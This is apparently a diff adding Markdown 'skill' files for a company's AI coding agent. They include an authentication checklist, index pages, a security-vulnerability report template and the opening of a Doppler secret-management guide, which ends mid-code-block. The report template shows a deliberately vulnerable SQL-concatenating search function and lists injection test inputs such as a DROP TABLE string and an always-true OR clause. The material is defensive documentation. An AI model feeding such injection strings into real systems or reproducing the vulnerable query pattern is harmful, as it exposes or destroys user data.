### Integration Tests
|
||||
|
||||
- [ ] **Login flow** tested (email/password, OAuth)
|
||||
- [ ] **Registration flow** tested
|
||||
- [ ] **Password reset** tested
|
||||
- [ ] **Session expiration** tested
|
||||
- [ ] **2FA flow** tested
|
||||
|
||||
### Security Tests
|
||||
|
||||
- [ ] **Penetration testing** performed
|
||||
- [ ] **OWASP Top 10** vulnerabilities checked:
|
||||
- [ ] Broken authentication
|
||||
- [ ] SQL injection
|
||||
- [ ] XSS
|
||||
- [ ] CSRF
|
||||
- [ ] Security misconfiguration
|
||||
|
||||
- [ ] **Automated security scans** (SAST, DAST)
|
||||
- [ ] **Dependency vulnerabilities** checked (npm audit, Snyk)
|
||||
|
||||
## Deployment Security
|
||||
|
||||
- [ ] **Secrets management** (Doppler, AWS Secrets Manager)
|
||||
- [ ] **Environment variables** not committed to git
|
||||
- [ ] **HTTPS enforced** (redirect HTTP to HTTPS)
|
||||
- [ ] **Security headers** set:
|
||||
- [ ] Strict-Transport-Security
|
||||
- [ ] X-Content-Type-Options
|
||||
- [ ] X-Frame-Options
|
||||
- [ ] Content-Security-Policy
|
||||
|
||||
- [ ] **Database encryption** at rest
|
||||
- [ ] **Backup encryption**
|
||||
- [ ] **Secure key rotation** process
|
||||
|
||||
## Incident Response
|
||||
|
||||
- [ ] **Incident response plan** documented
|
||||
- [ ] **Security contacts** defined
|
||||
- [ ] **Breach notification** process:
|
||||
- [ ] Identify affected users
|
||||
- [ ] Notify within 72 hours (GDPR)
|
||||
- [ ] Invalidate all sessions
|
||||
- [ ] Force password reset
|
||||
- [ ] Investigate root cause
|
||||
|
||||
- [ ] **Post-incident review** process
|
||||
- [ ] **Security patches** deployment process
|
||||
|
||||
## Scoring
|
||||
|
||||
- **90+ items checked**: Excellent - Production-ready security ✅
|
||||
- **70-89 items**: Good - Most security covered ⚠️
|
||||
- **50-69 items**: Fair - Significant security gaps 🔴
|
||||
- **<50 items**: Poor - Not secure for production ❌
|
||||
|
||||
## Priority Items
|
||||
|
||||
Address these first:
|
||||
1. **Password security** - Hashing, policies, reset flow
|
||||
2. **Session management** - Secure storage, expiration, invalidation
|
||||
3. **Multi-tenant isolation** - tenant_id in session, RLS policies
|
||||
4. **Rate limiting** - Prevent brute force attacks
|
||||
5. **Logging** - Audit trail for security events
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
❌ **Don't:**
|
||||
- Store passwords in plaintext or with weak hashing
|
||||
- Use long-lived tokens without refresh mechanism
|
||||
- Trust client-side validation/authorization
|
||||
- Share sessions across tenants
|
||||
- Log passwords or tokens
|
||||
- Use JWT for sessions (use database sessions for multi-tenant)
|
||||
|
||||
✅ **Do:**
|
||||
- Use proven auth libraries (Better Auth, NextAuth)
|
||||
- Validate sessions on every request
|
||||
- Implement defense in depth (multiple security layers)
|
||||
- Test authentication thoroughly
|
||||
- Monitor for suspicious activity
|
||||
- Rotate secrets regularly
|
||||
|
||||
## Related Resources
|
||||
|
||||
- [Better Auth Documentation](https://better-auth.com)
|
||||
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
|
||||
- [OWASP Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
|
||||
- [authentication-patterns skill](../SKILL.md)
|
||||
|
||||
---
|
||||
|
||||
**Total Items**: 150+ security checks
|
||||
**Critical Items**: Password security, Session management, Multi-tenant, Rate limiting
|
||||
**Coverage**: Better Auth, Multi-tenant, OAuth, RBAC, RLS
|
||||
**Last Updated**: 2025-11-10
|
||||
36
skills/authentication-patterns/examples/INDEX.md
Normal file
36
skills/authentication-patterns/examples/INDEX.md
Normal file
@@ -0,0 +1,36 @@
|
||||
# Authentication Patterns Examples
|
||||
|
||||
Complete examples for better-auth authentication.
|
||||
|
||||
## Available Examples
|
||||
|
||||
### [magic-link.md](magic-link.md)
|
||||
Magic link authentication implementation.
|
||||
- Sending magic links
|
||||
- Verifying magic link tokens
|
||||
- Single-use token enforcement
|
||||
|
||||
### [oauth.md](oauth.md)
|
||||
OAuth provider setup (Google, GitHub).
|
||||
- OAuth configuration
|
||||
- Provider callbacks
|
||||
- Profile data mapping
|
||||
|
||||
### [passkeys.md](passkeys.md)
|
||||
Passkey (WebAuthn) authentication.
|
||||
- Passkey registration
|
||||
- Passkey authentication
|
||||
- Device management
|
||||
|
||||
### [multi-tenant.md](multi-tenant.md)
|
||||
Multi-tenant authentication patterns.
|
||||
- tenant_id in JWT claims
|
||||
- Session context with tenant
|
||||
- RLS policy enforcement
|
||||
|
||||
## Quick Reference
|
||||
|
||||
**Need magic links?** → [magic-link.md](magic-link.md)
|
||||
**Need OAuth?** → [oauth.md](oauth.md)
|
||||
**Need passkeys?** → [passkeys.md](passkeys.md)
|
||||
**Need multi-tenant?** → [multi-tenant.md](multi-tenant.md)
|
||||
32
skills/authentication-patterns/reference/INDEX.md
Normal file
32
skills/authentication-patterns/reference/INDEX.md
Normal file
@@ -0,0 +1,32 @@
|
||||
# Authentication Patterns Reference
|
||||
|
||||
Configuration and setup references.
|
||||
|
||||
## Available References
|
||||
|
||||
### [better-auth-config.md](better-auth-config.md)
|
||||
better-auth configuration options.
|
||||
- Email & password settings
|
||||
- OAuth provider configuration
|
||||
- Session management options
|
||||
- Security settings
|
||||
|
||||
### [session-management.md](session-management.md)
|
||||
Session management patterns.
|
||||
- JWT claims structure
|
||||
- Redis session storage
|
||||
- Session refresh logic
|
||||
- Cookie configuration
|
||||
|
||||
### [doppler-setup.md](doppler-setup.md)
|
||||
Secret management with Doppler.
|
||||
- BETTER_AUTH_SECRET setup
|
||||
- OAuth secret configuration
|
||||
- Environment-specific secrets
|
||||
- Secret rotation
|
||||
|
||||
## Quick Reference
|
||||
|
||||
**Need config?** → [better-auth-config.md](better-auth-config.md)
|
||||
**Need sessions?** → [session-management.md](session-management.md)
|
||||
**Need secrets?** → [doppler-setup.md](doppler-setup.md)
|
||||
26
skills/security-analysis/SKILL.md
Normal file
26
skills/security-analysis/SKILL.md
Normal file
@@ -0,0 +1,26 @@
|
||||
# Security Analysis Skill
|
||||
|
||||
Comprehensive security analysis with vulnerability detection, OWASP Top 10 compliance, penetration testing simulation, and remediation.
|
||||
|
||||
## Description
|
||||
|
||||
Deep security audits including threat modeling, attack surface analysis, cryptographic validation, authentication review, and compliance assessment.
|
||||
|
||||
## What's Included
|
||||
|
||||
- **Examples**: OWASP Top 10 checks, penetration test scenarios
|
||||
- **Reference**: Security best practices, threat models
|
||||
- **Templates**: Security audit templates, vulnerability reports
|
||||
|
||||
## Use When
|
||||
|
||||
- Security audits needed
|
||||
- Pre-deployment security checks
|
||||
- Vulnerability investigation
|
||||
- Compliance assessments
|
||||
|
||||
## Related Agents
|
||||
|
||||
- `security-analyzer`
|
||||
|
||||
**Skill Version**: 1.0
|
||||
112
skills/security-analysis/examples/INDEX.md
Normal file
112
skills/security-analysis/examples/INDEX.md
Normal file
@@ -0,0 +1,112 @@
|
||||
# Security Vulnerability Examples
|
||||
|
||||
Real-world vulnerability examples with exploitation scenarios, CVSS scores, and complete remediations.
|
||||
|
||||
## Examples Overview
|
||||
|
||||
### SQL Injection (A03)
|
||||
**File**: [sql-injection.md](sql-injection.md)
|
||||
|
||||
Critical database security vulnerabilities:
|
||||
- SQL injection attack scenarios
|
||||
- Blind SQL injection techniques
|
||||
- Parameterized query solutions
|
||||
- ORM best practices
|
||||
- Input validation patterns
|
||||
- CVSS 9.8 (Critical) examples
|
||||
|
||||
**Use when**: Building database queries, API endpoints with user input, search functionality.
|
||||
|
||||
---
|
||||
|
||||
### Cross-Site Scripting - XSS (A03)
|
||||
**File**: [xss-vulnerabilities.md](xss-vulnerabilities.md)
|
||||
|
||||
XSS attack vectors and prevention:
|
||||
- Reflected XSS exploitation
|
||||
- Stored XSS persistence attacks
|
||||
- DOM-based XSS scenarios
|
||||
- Output encoding solutions
|
||||
- Content Security Policy (CSP)
|
||||
- CVSS 7.1 (High) examples
|
||||
|
||||
**Use when**: Rendering user-generated content, building search features, dynamic HTML generation.
|
||||
|
||||
---
|
||||
|
||||
### Authentication Bypass (A07)
|
||||
**File**: [authentication-bypass.md](authentication-bypass.md)
|
||||
|
||||
Authentication and session security flaws:
|
||||
- JWT algorithm confusion attacks
|
||||
- Session fixation exploitation
|
||||
- Weak password policies
|
||||
- Missing MFA vulnerabilities
|
||||
- Secure authentication implementation
|
||||
- CVSS 8.1 (High) examples
|
||||
|
||||
**Use when**: Implementing login systems, session management, API authentication, OAuth flows.
|
||||
|
||||
---
|
||||
|
||||
### Secrets Exposure (A02)
|
||||
**File**: [secrets-exposure.md](secrets-exposure.md)
|
||||
|
||||
Hardcoded credentials and secret management:
|
||||
- API key exposure detection
|
||||
- Hardcoded password patterns
|
||||
- Environment variable best practices
|
||||
- Doppler/Vault integration
|
||||
- Git secret scanning
|
||||
- CVSS 9.1 (Critical) examples
|
||||
|
||||
**Use when**: Managing configuration, deploying applications, working with third-party APIs.
|
||||
|
||||
---
|
||||
|
||||
### Dependency Vulnerabilities (A06)
|
||||
**File**: [dependency-vulnerabilities.md](dependency-vulnerabilities.md)
|
||||
|
||||
Supply chain and dependency security:
|
||||
- Known CVE exploitation
|
||||
- Outdated package detection
|
||||
- npm audit / pip-audit usage
|
||||
- Dependency update strategies
|
||||
- Lock file security
|
||||
- CVSS varies by CVE
|
||||
|
||||
**Use when**: Adding dependencies, updating packages, conducting security audits.
|
||||
|
||||
---
|
||||
|
||||
## OWASP Top 10 Coverage
|
||||
|
||||
| Vulnerability | Example File | CVSS Range | Frequency |
|
||||
|---------------|--------------|------------|-----------|
|
||||
| **A01: Broken Access Control** | (Covered in auth-bypass) | 6.5-8.8 | Very High |
|
||||
| **A02: Cryptographic Failures** | secrets-exposure.md | 7.5-9.8 | High |
|
||||
| **A03: Injection** | sql-injection.md, xss-vulnerabilities.md | 7.3-9.8 | High |
|
||||
| **A04: Insecure Design** | (Threat modeling reference) | Varies | Medium |
|
||||
| **A05: Security Misconfiguration** | (Reference docs) | 5.3-7.5 | High |
|
||||
| **A06: Vulnerable Components** | dependency-vulnerabilities.md | 4.0-10.0 | Very High |
|
||||
| **A07: Auth Failures** | authentication-bypass.md | 6.5-9.1 | High |
|
||||
| **A08: Data Integrity** | (Reference docs) | 7.5-8.8 | Medium |
|
||||
| **A09: Logging Failures** | (Reference docs) | 5.3-6.5 | Medium |
|
||||
| **A10: SSRF** | (Reference docs) | 6.4-9.6 | Medium |
|
||||
|
||||
## Severity Guide
|
||||
|
||||
- **Critical (9.0-10.0)**: Immediate exploitation, severe impact
|
||||
- **High (7.0-8.9)**: Easy exploitation, significant impact
|
||||
- **Medium (4.0-6.9)**: Moderate difficulty, limited impact
|
||||
- **Low (0.1-3.9)**: Difficult exploitation, minimal impact
|
||||
|
||||
## Navigation
|
||||
|
||||
- **Reference**: [Reference Index](../reference/INDEX.md)
|
||||
- **Templates**: [Templates Index](../templates/INDEX.md)
|
||||
- **Main Agent**: [security-analyzer.md](../security-analyzer.md)
|
||||
|
||||
---
|
||||
|
||||
Return to [main agent](../security-analyzer.md)
|
||||
96
skills/security-analysis/reference/INDEX.md
Normal file
96
skills/security-analysis/reference/INDEX.md
Normal file
@@ -0,0 +1,96 @@
|
||||
# Security Reference Documentation
|
||||
|
||||
Comprehensive security reference materials for the Grey Haven security analyzer agent.
|
||||
|
||||
## Reference Guides Overview
|
||||
|
||||
### OWASP Top 10 2021
|
||||
|
||||
**File**: [owasp-top-10.md](owasp-top-10.md)
|
||||
|
||||
Complete OWASP Top 10 coverage for Grey Haven stack:
|
||||
- **A01: Broken Access Control** - Multi-tenant RLS, authorization patterns
|
||||
- **A02: Cryptographic Failures** - Secrets management, encryption, hashing
|
||||
- **A03: Injection** - SQL injection, XSS, command injection prevention
|
||||
- **A04: Insecure Design** - Threat modeling, secure architecture patterns
|
||||
- **A05: Security Misconfiguration** - Cloudflare Workers, environment hardening
|
||||
- **A06: Vulnerable Components** - Dependency scanning, update strategies
|
||||
- **A07: Authentication Failures** - better-auth, MFA, session management
|
||||
- **A08: Software & Data Integrity** - Checksum validation, CI/CD security
|
||||
- **A09: Logging & Monitoring Failures** - Security event logging, SIEM integration
|
||||
- **A10: Server-Side Request Forgery** - SSRF prevention, URL validation
|
||||
|
||||
**Use when**: Understanding OWASP categories, mapping vulnerabilities to standards
|
||||
|
||||
---
|
||||
|
||||
### CVSS v3.1 Scoring Reference
|
||||
|
||||
**File**: [cvss-scoring.md](cvss-scoring.md)
|
||||
|
||||
Complete CVSS vulnerability scoring methodology:
|
||||
- **Base Metrics**: AV, AC, PR, UI, S, C, I, A
|
||||
- **Temporal Metrics**: Exploit Code Maturity, Remediation Level, Report Confidence
|
||||
- **Environmental Metrics**: Modified Base Metrics for specific environments
|
||||
- **Severity Ranges**: Critical (9.0-10.0), High (7.0-8.9), Medium (4.0-6.9), Low (0.1-3.9)
|
||||
- **Vector Strings**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
- **Calculator**: Step-by-step scoring examples
|
||||
- **Real CVEs**: Mapping actual vulnerabilities to CVSS scores
|
||||
|
||||
**Use when**: Scoring vulnerabilities, prioritizing remediation, reporting severity
|
||||
|
||||
---
|
||||
|
||||
### Compliance Requirements
|
||||
|
||||
**File**: [compliance-requirements.md](compliance-requirements.md)
|
||||
|
||||
Security compliance frameworks for SaaS:
|
||||
- **PCI DSS 4.0**: Payment card data security (Stripe integration)
|
||||
- **GDPR**: EU data privacy requirements (multi-tenant data isolation)
|
||||
- **HIPAA**: Healthcare data protection (if applicable)
|
||||
- **SOC 2 Type II**: Trust services criteria (security, availability, confidentiality)
|
||||
- **ISO 27001**: Information security management
|
||||
- **NIST Cybersecurity Framework**: Security controls mapping
|
||||
- **Grey Haven Specific**: Cloudflare Workers compliance, PostgreSQL encryption
|
||||
|
||||
**Use when**: Preparing for audits, implementing compliance controls, documenting security posture
|
||||
|
||||
---
|
||||
|
||||
### Security Tools Reference
|
||||
|
||||
**File**: [security-tools.md](security-tools.md)
|
||||
|
||||
Complete tooling guide for Grey Haven stack:
|
||||
- **SAST**: Bandit (Python), ESLint security plugins (TypeScript)
|
||||
- **Dependency Scanning**: bun audit, pip-audit, Snyk, Dependabot
|
||||
- **Secret Scanning**: gitleaks, trufflehog, Doppler audit logs
|
||||
- **Container Security**: (if using Docker)
|
||||
- **Cloud Security**: Cloudflare WAF, rate limiting, DDoS protection
|
||||
- **Database Security**: PostgreSQL RLS, query auditing, encryption at rest
|
||||
- **Penetration Testing**: Burp Suite, OWASP ZAP, SQLMap
|
||||
- **Monitoring**: DataDog Security Monitoring, Sentry error tracking
|
||||
|
||||
**Use when**: Selecting security tools, configuring CI/CD security gates, penetration testing
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
| Topic | File | Lines | Purpose |
|
||||
|-------|------|-------|---------|
|
||||
| **OWASP Top 10** | [owasp-top-10.md](owasp-top-10.md) | ~450 | Security categories |
|
||||
| **CVSS Scoring** | [cvss-scoring.md](cvss-scoring.md) | ~380 | Vulnerability scoring |
|
||||
| **Compliance** | [compliance-requirements.md](compliance-requirements.md) | ~420 | Audit requirements |
|
||||
| **Security Tools** | [security-tools.md](security-tools.md) | ~350 | Tool configuration |
|
||||
|
||||
## Related Documentation
|
||||
|
||||
- **Examples**: [Examples Index](../examples/INDEX.md) - Vulnerability examples with exploitation
|
||||
- **Templates**: [Templates Index](../templates/INDEX.md) - Security report templates
|
||||
- **Main Agent**: [security-analyzer.md](../security-analyzer.md) - Agent documentation
|
||||
|
||||
---
|
||||
|
||||
Return to [main agent](../security-analyzer.md)
|
||||
71
skills/security-analysis/templates/INDEX.md
Normal file
71
skills/security-analysis/templates/INDEX.md
Normal file
@@ -0,0 +1,71 @@
|
||||
# Security Templates
|
||||
|
||||
Copy-paste ready templates for security documentation and reporting.
|
||||
|
||||
## Templates Overview
|
||||
|
||||
### Security Vulnerability Report
|
||||
|
||||
**File**: [security-report.md](security-report.md)
|
||||
|
||||
Complete vulnerability report template for documenting security findings:
|
||||
- **Executive Summary** - Non-technical overview for stakeholders
|
||||
- **Vulnerability Details** - Technical description, CVSS scoring, affected systems
|
||||
- **Proof of Concept** - Exploitation steps and evidence
|
||||
- **Business Impact** - Risk assessment and potential damage
|
||||
- **Remediation Steps** - Step-by-step fixes with code examples
|
||||
- **Timeline** - Discovery, notification, patch, verification
|
||||
- **References** - CVEs, OWASP, compliance mapping
|
||||
|
||||
**Use when**: Documenting security findings from audits, pentests, or internal discovery
|
||||
|
||||
---
|
||||
|
||||
### Penetration Testing Report
|
||||
|
||||
**File**: [penetration-test.md](penetration-test.md)
|
||||
|
||||
Comprehensive penetration testing documentation template:
|
||||
- **Scope & Methodology** - Testing boundaries, rules of engagement
|
||||
- **Executive Summary** - High-level findings for management
|
||||
- **Testing Methodology** - OWASP Testing Guide, tools used
|
||||
- **Findings Summary** - Critical/High/Medium/Low vulnerability counts
|
||||
- **Detailed Findings** - Each vulnerability with PoC and remediation
|
||||
- **Risk Assessment** - CVSS scoring and business impact
|
||||
- **Remediation Roadmap** - Prioritized action plan with deadlines
|
||||
- **Appendix** - Tool outputs, screenshots, raw scan data
|
||||
|
||||
**Use when**: Conducting penetration tests, security audits, or compliance assessments
|
||||
|
||||
---
|
||||
|
||||
## Quick Usage
|
||||
|
||||
```bash
|
||||
# Copy template to project
|
||||
cp templates/security-report.md ../reports/vuln-2025-001.md
|
||||
|
||||
# Fill in sections
|
||||
vim ../reports/vuln-2025-001.md
|
||||
|
||||
# Submit for review
|
||||
git add ../reports/vuln-2025-001.md
|
||||
git commit -m "docs: add SQL injection vulnerability report"
|
||||
```
|
||||
|
||||
## Template Conventions
|
||||
|
||||
**Date Format**: YYYY-MM-DD (ISO 8601)
|
||||
**CVSS Format**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
|
||||
**Severity Ratings**: Critical (9.0-10.0), High (7.0-8.9), Medium (4.0-6.9), Low (0.1-3.9)
|
||||
**Code Blocks**: Use triple backticks with language specifier (```typescript, ```python)
|
||||
|
||||
## Related Documentation
|
||||
|
||||
- **Examples**: [Examples Index](../examples/INDEX.md) - Real vulnerability examples
|
||||
- **Reference**: [Reference Index](../reference/INDEX.md) - OWASP, CVSS, compliance guides
|
||||
- **Main Agent**: [security-analyzer.md](../security-analyzer.md) - Security analyzer agent
|
||||
|
||||
---
|
||||
|
||||
Return to [main agent](../security-analyzer.md)
|
||||
279
skills/security-analysis/templates/security-report.md
Normal file
279
skills/security-analysis/templates/security-report.md
Normal file
@@ -0,0 +1,279 @@
|
||||
# Security Vulnerability Report
|
||||
|
||||
**Report ID**: VULN-YYYY-###
|
||||
**Date**: YYYY-MM-DD
|
||||
**Severity**: [Critical | High | Medium | Low]
|
||||
**CVSS Score**: X.X
|
||||
**Status**: [Open | In Progress | Resolved | Verified]
|
||||
**Reporter**: [Name or Team]
|
||||
|
||||
---
|
||||
|
||||
## Executive Summary
|
||||
|
||||
**For non-technical stakeholders**
|
||||
|
||||
_Brief description of the vulnerability in business terms (2-3 sentences). Focus on impact to users, data, or business operations._
|
||||
|
||||
**Example**:
|
||||
> A critical SQL injection vulnerability was discovered in the user search endpoint that allows attackers to extract all customer data from the database, including names, emails, and payment information. This vulnerability affects all users of the application and could result in a significant data breach if exploited.
|
||||
|
||||
---
|
||||
|
||||
## Vulnerability Details
|
||||
|
||||
### Description
|
||||
|
||||
_Technical description of the vulnerability. What is broken and why?_
|
||||
|
||||
**Affected Systems**:
|
||||
- Component: [API endpoint, database, authentication system, etc.]
|
||||
- Version: [Software version number]
|
||||
- URL/Location: [https://api.greyhaven.io/users/search]
|
||||
- Environment: [Production | Staging | Development]
|
||||
|
||||
**Attack Vector**: [Network | Adjacent | Local | Physical]
|
||||
|
||||
**OWASP Category**: [A03:2021 - Injection]
|
||||
|
||||
### CVSS v3.1 Scoring
|
||||
|
||||
**Vector String**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
|
||||
|
||||
| Metric | Value | Justification |
|
||||
|--------|-------|---------------|
|
||||
| Attack Vector (AV) | [N/A/L/P] | _How is it exploited?_ |
|
||||
| Attack Complexity (AC) | [L/H] | _Difficulty of exploitation_ |
|
||||
| Privileges Required (PR) | [N/L/H] | _Authentication needed?_ |
|
||||
| User Interaction (UI) | [N/R] | _Victim must act?_ |
|
||||
| Scope (S) | [U/C] | _Affects other components?_ |
|
||||
| Confidentiality (C) | [H/L/N] | _Data disclosure?_ |
|
||||
| Integrity (I) | [H/L/N] | _Data modification?_ |
|
||||
| Availability (A) | [H/L/N] | _Service disruption?_ |
|
||||
|
||||
**Base Score**: X.X ([Critical | High | Medium | Low])
|
||||
|
||||
---
|
||||
|
||||
## Proof of Concept
|
||||
|
||||
### Exploitation Steps
|
||||
|
||||
1. **Step 1**: _Description_
|
||||
```bash
|
||||
# Command or code
|
||||
```
|
||||
|
||||
2. **Step 2**: _Description_
|
||||
```bash
|
||||
# Command or code
|
||||
```
|
||||
|
||||
3. **Step 3**: _Description_
|
||||
```bash
|
||||
# Expected result
|
||||
```
|
||||
|
||||
### Evidence
|
||||
|
||||
_Screenshots, logs, or output demonstrating successful exploitation_
|
||||
|
||||
```
|
||||
[Paste actual output or attach screenshot]
|
||||
```
|
||||
|
||||
### Affected Code
|
||||
|
||||
**File**: `path/to/vulnerable/file.ts`
|
||||
**Lines**: 42-58
|
||||
|
||||
```typescript
|
||||
// Vulnerable code snippet
|
||||
export async function searchUsers(query: string) {
|
||||
// ❌ VULNERABLE: String concatenation in SQL query
|
||||
const sql = `SELECT * FROM users WHERE username LIKE '%${query}%'`;
|
||||
return await db.query(sql);
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Business Impact
|
||||
|
||||
### Risk Assessment
|
||||
|
||||
**Likelihood**: [High | Medium | Low]
|
||||
- _How likely is exploitation in the wild?_
|
||||
|
||||
**Impact**: [Critical | High | Medium | Low]
|
||||
- _What is the worst-case outcome?_
|
||||
|
||||
**Overall Risk**: [Critical | High | Medium | Low]
|
||||
- _Likelihood × Impact_
|
||||
|
||||
### Potential Consequences
|
||||
|
||||
- **Data Breach**: _Description of data exposure (e.g., 500K user records)_
|
||||
- **Financial Loss**: _Estimated monetary impact (e.g., $500K in GDPR fines)_
|
||||
- **Reputational Damage**: _Impact on brand trust_
|
||||
- **Regulatory Compliance**: _Which regulations violated (GDPR, PCI DSS)_
|
||||
|
||||
### Affected Users
|
||||
|
||||
- **User Count**: [X users affected]
|
||||
- **User Types**: [All users | Admin users | Specific tenant]
|
||||
- **Geographic Scope**: [Global | EU | US only]
|
||||
|
||||
---
|
||||
|
||||
## Remediation
|
||||
|
||||
### Immediate Mitigation (Temporary Fix)
|
||||
|
||||
**Timeline**: Implement within [X hours]
|
||||
|
||||
_Quick workaround to reduce risk while developing permanent fix_
|
||||
|
||||
**Steps**:
|
||||
1. _Temporary mitigation step 1_
|
||||
2. _Temporary mitigation step 2_
|
||||
|
||||
**Code Example** (if applicable):
|
||||
```typescript
|
||||
// Temporary workaround
|
||||
export async function searchUsers(query: string) {
|
||||
// ✅ TEMPORARY: Input validation regex
|
||||
if (!/^[a-zA-Z0-9_-]+$/.test(query)) {
|
||||
throw new Error('Invalid query');
|
||||
}
|
||||
const sql = `SELECT * FROM users WHERE username LIKE '%${query}%'`;
|
||||
return await db.query(sql);
|
||||
}
|
||||
```
|
||||
|
||||
### Permanent Fix
|
||||
|
||||
**Timeline**: Deploy within [X days]
|
||||
|
||||
_Complete solution that eliminates the vulnerability_
|
||||
|
||||
**Steps**:
|
||||
1. _Implementation step 1_
|
||||
2. _Implementation step 2_
|
||||
3. _Testing step_
|
||||
4. _Deployment step_
|
||||
|
||||
**Code Example**:
|
||||
```typescript
|
||||
// ✅ SECURE: Parameterized query with Drizzle ORM
|
||||
import { eq, like } from 'drizzle-orm';
|
||||
|
||||
export async function searchUsers(query: string) {
|
||||
// ✅ Input validation
|
||||
if (query.length > 100) {
|
||||
throw new Error('Query too long');
|
||||
}
|
||||
|
||||
// ✅ Parameterized query (SQL injection safe)
|
||||
return await db.query.users.findMany({
|
||||
where: like(users.username, `%${query}%`)
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### Testing & Verification
|
||||
|
||||
**Test Cases**:
|
||||
- [ ] Normal input: `alice` → Returns matching users
|
||||
- [ ] Malicious input: `'; DROP TABLE users--` → Rejected/escaped
|
||||
- [ ] SQL injection attempt: `' OR '1'='1` → No unauthorized access
|
||||
- [ ] Automated test: `bun test security/sql-injection.test.ts`
|
||||
|
||||
**Verification Steps**:
|
||||
1. Deploy fix to staging
|
||||
2. Run penetration test suite
|
||||
3. Verify vulnerability no longer exploitable
|
||||
4. Code review by security team
|
||||
5. Deploy to production
|
||||
6. Monitor for 48 hours
|
||||
|
||||
---
|
||||
|
||||
## Timeline
|
||||
|
||||
| Date | Event | Responsible |
|
||||
|------|-------|-------------|
|
||||
| YYYY-MM-DD | Vulnerability discovered | [Name] |
|
||||
| YYYY-MM-DD | Security team notified | [Name] |
|
||||
| YYYY-MM-DD | Initial assessment completed | Security Team |
|
||||
| YYYY-MM-DD | Temporary mitigation deployed | DevOps |
|
||||
| YYYY-MM-DD | Permanent fix developed | Engineering |
|
||||
| YYYY-MM-DD | Fix deployed to production | DevOps |
|
||||
| YYYY-MM-DD | Vulnerability verified fixed | Security Team |
|
||||
| YYYY-MM-DD | Report published (if public) | Security Team |
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
### CVE/CWE
|
||||
|
||||
- **CVE**: [CVE-YYYY-XXXXX] (if assigned)
|
||||
- **CWE**: [CWE-89: SQL Injection]
|
||||
- **OWASP**: [A03:2021 - Injection]
|
||||
|
||||
### Documentation
|
||||
|
||||
- [OWASP SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
|
||||
- [Drizzle ORM Security Documentation](https://orm.drizzle.team/)
|
||||
- Internal: [Security Best Practices](../reference/owasp-top-10.md)
|
||||
|
||||
### Similar Incidents
|
||||
|
||||
- _Link to similar vulnerabilities in your organization_
|
||||
- _External references to similar attacks (if applicable)_
|
||||
|
||||
---
|
||||
|
||||
## Compliance Mapping
|
||||
|
||||
**Affected Compliance Requirements**:
|
||||
- [ ] **PCI DSS 4.0**: Requirement 6.2 (Secure Development)
|
||||
- [ ] **GDPR**: Article 32 (Security of Processing)
|
||||
- [ ] **SOC 2**: CC6.1 (Logical Access Controls)
|
||||
|
||||
---
|
||||
|
||||
## Lessons Learned
|
||||
|
||||
### Root Cause Analysis
|
||||
|
||||
_What caused this vulnerability to exist?_
|
||||
|
||||
**Example**:
|
||||
> The vulnerability was introduced in commit abc123 when developers implemented user search without using the ORM. Code review did not catch the SQL injection vulnerability because security review was not part of the PR checklist.
|
||||
|
||||
### Prevention Measures
|
||||
|
||||
_How can we prevent this class of vulnerabilities in the future?_
|
||||
|
||||
- [ ] Add SQL injection test cases to CI/CD
|
||||
- [ ] Enforce Drizzle ORM usage (eslint rule)
|
||||
- [ ] Security training on parameterized queries
|
||||
- [ ] Mandatory security review for database changes
|
||||
- [ ] Run `bun audit` and `bandit` in CI/CD
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
**Reported by**: _______________________ Date: ___________
|
||||
|
||||
**Verified by**: _______________________ Date: ___________
|
||||
|
||||
**Approved for Closure**: _______________________ Date: ___________
|
||||
|
||||
---
|
||||
|
||||
**Template Version**: 1.0.0
|
||||
**Last Updated**: 2025-01-06
|
||||
424
skills/security-practices/SKILL.md
Normal file
424
skills/security-practices/SKILL.md
Normal file
@@ -0,0 +1,424 @@
|
||||
---
|
||||
name: grey-haven-security-practices
|
||||
description: Grey Haven's security best practices - input validation, output sanitization, multi-tenant RLS, secret management with Doppler, rate limiting, OWASP Top 10 for TanStack/FastAPI stack. Use when implementing security-critical features.
|
||||
---
|
||||
|
||||
# Grey Haven Security Practices
|
||||
|
||||
Follow Grey Haven Studio's security best practices for TanStack Start and FastAPI applications.
|
||||
|
||||
## Secret Management with Doppler
|
||||
|
||||
**CRITICAL**: NEVER commit secrets to git. Always use Doppler.
|
||||
|
||||
### Doppler Setup
|
||||
|
||||
```bash
|
||||
# Install Doppler CLI
|
||||
brew install dopplerhq/cli/doppler
|
||||
|
||||
# Authenticate
|
||||
doppler login
|
||||
|
||||
# Setup project
|
||||
cd /path/to/project
|
||||
doppler setup
|
||||
|
||||
# Access secrets
|
||||
doppler run -- npm run dev # TypeScript
|
||||
doppler run -- python app/main.py # Python
|
||||
```
|
||||
|
||||
### Required Secrets (Doppler)
|
||||
|
||||
```bash
|
||||
# Auth
|
||||
BETTER_AUTH_SECRET=<random-32-bytes>
|
||||
JWT_SECRET_KEY=<random-32-bytes>
|
||||
|
||||
# Database
|
||||
DATABASE_URL_ADMIN=postgresql://...
|
||||
DATABASE_URL_AUTHENTICATED=postgresql://...
|
||||
|
||||
# APIs
|
||||
RESEND_API_KEY=re_...
|
||||
STRIPE_SECRET_KEY=sk_...
|
||||
OPENAI_API_KEY=sk-...
|
||||
|
||||
# OAuth
|
||||
GOOGLE_CLIENT_SECRET=GOCSPX-...
|
||||
GITHUB_CLIENT_SECRET=...
|
||||
```
|
||||
|
||||
### Accessing Secrets in Code
|
||||
|
||||
```typescript
|
||||
// [OK] Correct - Use process.env (Doppler provides at runtime)
|
||||
const apiKey = process.env.OPENAI_API_KEY!;
|
||||
|
||||
// [X] Wrong - Hardcoded secrets
|
||||
